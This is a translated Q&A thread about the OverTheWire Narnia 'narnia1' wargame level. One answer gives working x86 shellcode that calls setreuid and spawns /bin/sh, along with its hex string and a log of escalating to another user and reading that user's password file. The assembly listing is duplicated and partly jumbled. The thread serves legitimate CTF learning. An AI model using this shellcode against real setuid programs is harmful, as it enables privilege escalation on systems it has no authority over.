Shellcode no se ejecuta como propietario

1

(Esta es una pregunta relacionada con un desafío en un juego de guerra en overthewire.org llamado Narnia)

Aquí está el código fuente del script vulnerable "narnia1" que intento explotar:

#include <stdio.h>

int main(){
    int (*ret)();

    if(getenv("EGG")==NULL){    
        printf("Give me something to execute at the env-variable EGG\n");
        exit(1);
    }

    printf("Trying to execute EGG!\n");
    ret = getenv("EGG");
    ret();

    return 0;
}

Básicamente, ejecuta las cosas almacenadas en la variable de entorno "EGG".

Establecí "EGG" para que sea el código shell como se muestra aquí:

export EGG='python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'"'

que ejecuta /bin/sh .

El propietario de este archivo (narnia1) es "narnia2" como se muestra a continuación, esperamos que la shell se ejecute como "narnia2".

narnia1@narnia:/narnia$ ls -la
total 116
drwxr-xr-x  2 root    root    4096 Nov  9 15:08 .
drwxr-xr-x 25 root    root    4096 Mar 12 09:58 ..
-r-sr-x---  1 narnia1 narnia0 7568 Nov  9 15:08 narnia0
-r--r-----  1 narnia0 narnia0 1186 Nov  9 15:08 narnia0.c
-r-sr-x---  1 narnia2 narnia1 7404 Nov  9 15:08 narnia1
-r--r-----  1 narnia1 narnia1 1000 Nov  9 15:08 narnia1.c
...

Sin embargo, esto es lo que obtuve:

narnia1@narnia:/narnia$ export EGG='python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'"'
narnia1@narnia:/narnia$ ./narnia1
Trying to execute EGG!
$ whoami
narnia1

Y no tengo idea de por qué esto me da una concha como "narnia1" en lugar de "narnia2".

¿Alguna idea?

    
pregunta Lowell 29.04.2018 - 13:29
fuente

2 respuestas

1

Luché con esto durante bastante tiempo y finalmente tuve que modificar algunos de los códigos de shell que encontré en línea.

;;; Corrected assembler, based on original from:-
;;; http://shell-storm.org/shellcode/files/shellcode-399.php

      BITS 32

      push byte   0x31
      pop         eax               ; EAX = 0x31
      xor         edx, edx
      int         0x80              ; geteuid();
      mov         ebx, eax          ; result into both args of setreuid() call...
      mov         ecx, eax
      push byte   0x46              ; 
      pop         eax               ; EAX = 0x46
      int         0x80              ; setreuid(geteuid(),geteuid());
      mov         al, 0xb           ; execve syscall
      push        edx               ; push 
"\x6a\x31\x58\x31\xd2\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"
string terminator push 0x68732f6e ; hs/n push 0x69622f2f ; ib// mov ebx, esp ; EBX -> "//bin/sh" mov ecx, edx ; ECX = 0 int 0x80 ; execve(/bin/sh,0,0);

Aquí está la cadena del código de shell: -

narnia1@narnia:/narnia$ export EGG='python -c 'print "\x6a\x31\x58\x31\xd2\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"''
narnia1@narnia:/narnia$ ./narnia1
Trying to execute EGG!
$ whoami
narnia2
$ cat /etc/narnia_pass/narnia2
******* (the password)

Y aquí está cómo usarlo: -

;;; Corrected assembler, based on original from:-
;;; http://shell-storm.org/shellcode/files/shellcode-399.php

      BITS 32

      push byte   0x31
      pop         eax               ; EAX = 0x31
      xor         edx, edx
      int         0x80              ; geteuid();
      mov         ebx, eax          ; result into both args of setreuid() call...
      mov         ecx, eax
      push byte   0x46              ; 
      pop         eax               ; EAX = 0x46
      int         0x80              ; setreuid(geteuid(),geteuid());
      mov         al, 0xb           ; execve syscall
      push        edx               ; push 
"\x6a\x31\x58\x31\xd2\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"
string terminator push 0x68732f6e ; hs/n push 0x69622f2f ; ib// mov ebx, esp ; EBX -> "//bin/sh" mov ecx, edx ; ECX = 0 int 0x80 ; execve(/bin/sh,0,0);
    
respondido por el Echelon 03.09.2018 - 16:25
fuente
0

En CTFs en los que nc / ssh para explotar un programa, es común que el binario sea setuid.

Por lo tanto, se le permite conectarse como usuario1, pero la bandera pertenece al usuario2. Al explotar el setuid, binario usted se convierte en usuario2, quien tiene permiso para leer la bandera.

No es trivial crear entornos, donde los usuarios pueden iniciar sesión y explotar cosas, sin la posibilidad de engañar o dañar los entornos.

    
respondido por el manduca 04.09.2018 - 07:39
fuente